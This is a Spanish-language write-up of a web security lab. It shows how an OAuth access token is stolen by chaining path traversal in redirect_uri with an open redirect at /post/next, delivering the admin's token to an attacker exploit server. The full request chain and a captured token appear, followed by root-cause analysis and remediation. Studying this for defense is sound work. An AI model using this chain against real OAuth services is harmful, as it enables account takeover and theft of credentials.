Stealing OAuth access tokens via an open redirect
Robo de access tokens OAuth mediante open redirect: bypass del whitelist de redirect_uri con path traversal hacia /post/next?path= y captura del token en el fragment de la URL en el exploit server.
Target Overview & Vulnerability Summary
El laboratorio permite el login con una cuenta de red social vía un servicio OAuth. Una validación defectuosa del redirect_uri por parte del servicio OAuth permite filtrar access tokens hacia páginas arbitrarias de la aplicación cliente. Combinando un bypass por path traversal del whitelist de redirect_uri con un open redirect presente en /post/next?path=, un atacante hace que el token del admin se entregue a su exploit server y lo usa para obtener la API key del admin.
| Campo | Valor |
|---|---|
| Severidad | Alta (robo de access token → acceso a la API key del admin) |
| Endpoint vulnerable | GET /auth (validación de redirect_uri), GET /post/next?path= (open redirect) |
| Root cause | El servicio OAuth valida el redirect_uri por prefijo (permitiendo oauth-callback/../), y la app cliente tiene un open redirect accesible desde ese origen |
Technical Breakdown & Exploitation Flow
El redirect_uri tiene protecciones mediante whitelists, pero mediante path traversal se puede manipular su comportamiento. El path traversal apunta a /posts, que tiene un open redirect en el parámetro path:
https://0aab0088047c711280a9715700cc00dd.web-security-academy.net/post/next?path=https://google.com/ (Open redirect)
El open redirect permite redirigir el navegador de la víctima a cualquier dominio, incluido el exploit server controlado por el atacante.
Cadena de requests
- Construir la URL de autorización OAuth cuyo
redirect_uriusaoauth-callback/../para saltar fuera del callback y caer en/post/next, abusando del open redirect hacia el exploit server:
GET /auth?client_id=vrrvimpe1fl5y63o6gg34&redirect_uri=https://0aab0088047c711280a9715700cc00dd.web-security-academy.net/oauth-callback/../post/next?path=https://exploit-0a510038041371e280fe705401330031.exploit-server.net/log
- El
redirect_uriresultante es normalizado por el servidor ahttps://0aab...web-security-academy.net/post/next?path=https://exploit-...net/log. El open redirect de/post/nextredirige al navegador de la víctima:
GET /post/next?path=https%3A%2F%2Fexploit-0a510038041371e280fe705401330031.exploit-server.net%2Flog
- El navegador del admin (con sesión activa en el servicio OAuth) completa la autorización y es redirigido al exploit server, entregando el access token en el fragment de la URL (grant type implícito):
GET /log HTTP/1.1
Host: exploit-0a510038041371e280fe705401330031.exploit-server.net
https://exploit-0a510038041371e280fe705401330031.exploit-server.net/log#access_token=39S7Rgk9uiWn0Gt8RtMwx8RyI_RcyiVC9-w1Ti85VZN&expires_in=3600&token_type=Bearer&scope=openid%20profile%20email
- El token robado
39S7Rgk9uiWn0Gt8RtMwx8RyI_RcyiVC9-w1Ti85VZNse usa contra la API del proveedor (o la app cliente) para obtener la API key del admin y enviarla como solución del laboratorio. Nota del enunciado: la API key del admin no se puede obtener simplemente iniciando sesión en su cuenta de la app cliente.
Root Cause Analysis
Dos fallas se encadenan:
- Validación de
redirect_uripor prefijo o normalización insegura. El servidor OAuth aceptahttps://victim/oauth-callback/../post/next?path=...porque la parte inicial coincide con elredirect_uriregistrado, pero la normalización del path resuelveoauth-callback/../hacia/post/next. El resultado es que el token se entrega a un endpoint distinto del callback registrado. - Open redirect en un endpoint del mismo origen.
/post/next?path=redirige a cualquier URL, y al estar en el mismo dominio que la app cliente, sirve como receptor del token cuando el redirect_uri es manipulado.
El grant implícito (response_type=token) agrava el caso: el access token viaja en el fragment de la URL, de modo que la redirección final (controlada por el atacante) es quien recibe el token en su request GET /log#access_token=....
Secure Remediation
- Validación de
redirect_uripor coincidencia exacta (exact match) contra el listado registrado delclient_id, antes y después de la normalización; rechazar cualquierredirect_urique no sea idéntico a un valor registrado:
if !registeredURIs[clientID][normalizedURI] {
return errors.New("redirect_uri no registrado")
}
- Eliminar open redirects en endpoints del mismo origen, especialmente los alcanzables vía path traversal desde un
redirect_uripermitido. - Preferir el authorization code flow con PKCE sobre el implicit: el code se intercambia server-side por el token y el token nunca transita por el navegador, eliminando la exfiltración vía fragment.
- Validar
stateynoncepara que una redirección forzada no complete el flujo sin el estado de la sesión.